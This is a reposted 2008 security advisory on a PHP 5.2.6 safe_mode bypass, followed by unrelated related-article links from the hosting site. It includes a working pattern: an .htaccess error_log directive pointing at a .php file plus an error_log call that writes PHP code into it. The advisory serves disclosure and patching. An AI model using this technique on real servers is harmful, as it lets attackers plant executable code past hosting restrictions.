PHP 5.2.6 (error_log) safe_mode Bypass Vulnerability

简介:  [ SecurityReason.com PHP 5.2.6 (error_log) safe_mode bypass ]Author: Maksymilian Arciemowicz (cXIb8O3)securityreason.

 [ SecurityReason.com PHP 5.2.6 (error_log) safe_mode bypass ]

Author: Maksymilian Arciemowicz (cXIb8O3)
securityreason.com
Date:
- - Written: 10.11.2008
- - Public: 20.11.2008

SecurityReason Research
SecurityAlert Id: 57

CWE: CWE-264
SecurityRisk: Medium

Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/57
Vendor: http://www.php.net

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl 
with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web 
developers to write dynamically generated pages quickly.

error_log

They allow you to define your own error handling rules, as well as modify the way the errors can 
be logged. This allows you to change and enhance error reporting to suit your needs.

- --- 0. error_log const. bypassed by php_admin_flag ---
The main problem is between using safe_mode in global mode

php.ini­:
safe_mode = On

and declaring via php_admin_flag

<Directory "/www">
...
  php_admin_flag safe_mode On
</Directory>

When we create some php script in /www/ and try call to:

ini_set("error_log", "/hack/");

or in /www/.htaccess

php_value error_log "/hack/bleh.php"


Result:

Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4


It was for safe_mode declared in php.ini. But if we use

php_admin_flag safe_mode On 

in httpd.conf, we will get only

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4

syntax in .htaccess

php_value error_log "/hack/blehx.php"

is allowed and bypass safe_mode.

example exploit:
error_log("<?php phpinfo(); ?>", 0);

- --- 2. How to fix ---
Fixed in CVS

http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&view=markup

Note:
Do not use safe_mode as a main safety.

 --- 3. Greets ---
sp3x Infospec schain p_e_a pi3

- --- 4. Contact ---
Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
目录
相关文章
|
6月前
|
Linux PHP
php模拟tail -f 实时输出日志
php模拟tail -f 实时输出日志
|
11月前
|
JSON PHP 开发工具
PHP Monolog 日志的使用
PHP Monolog 日志的使用
484 0
|
9月前
|
Java 测试技术 API
工银e生活开发脱坑日志(9)JAVA版的SDK自动生成msgId,PHP如何生成消息通讯唯一编号msgId
工银e生活开发脱坑日志(9)JAVA版的SDK自动生成msgId,PHP如何生成消息通讯唯一编号msgId
107 0
|
9月前
|
PHP Apache Windows
工银e生活开发脱坑日志(5)wampServer集成环境配置php ts版php_infosec.dll文件
工银e生活开发脱坑日志(5)wampServer集成环境配置php ts版php_infosec.dll文件
104 0
|
11月前
|
PHP
php 日志调试
php 日志调试
149 0
|
PHP
PHP写Log日志
PHP写Log日志
74 0
PHP Log时时查看小工具
以前Log都是打印在一个文档中,然后打开文件夹,最后打开文档查看里面的内容,每次打开文件夹感觉很烦。 前些日子看到同事开发.NET的时候,用他自己的一个小工具能够时时查看到Log的内容,非常方便,所以就想移植到PHP开发中。
PHP Log时时查看小工具
|
移动开发 PHP
file_put_contents追加 一个很简单的php记录日志的函数
$str="我是日志内容!"; $str=$str.date("Y-m-d H:i:s",time())."\r\n"; file_put_contents('log.txt',$str,FILE_APPEND); file_put_contents() 的行为实际上等于依次调用 fopen(),fwrite() 以及 fclose() 功能一样。 FILE_APPEND:在文件末尾以追加的方式写入数据 ———————————————— 版权声明:本文为CSDN博主「娃娃菜001」的原创文章,遵循CC
182 0
file_put_contents追加 一个很简单的php记录日志的函数
|
存储 监控 关系型数据库
php+mysql日志系统设计
日志系统的作用:1、了解线上系统的运行状态2、快速准确定位线上问题3、发现系统瓶颈4、预警系统潜在风险5、挖掘产品最大价值6、…… 设计目标:1、支持高并发日志写入2、亿级消息内容存储3、支持监控报警4、分布式、高可用 存储选择:mysql TokuDB+redismysql TokuDB是一个支持事务的“新”引擎,有着出色的数据压缩功能。
1581 0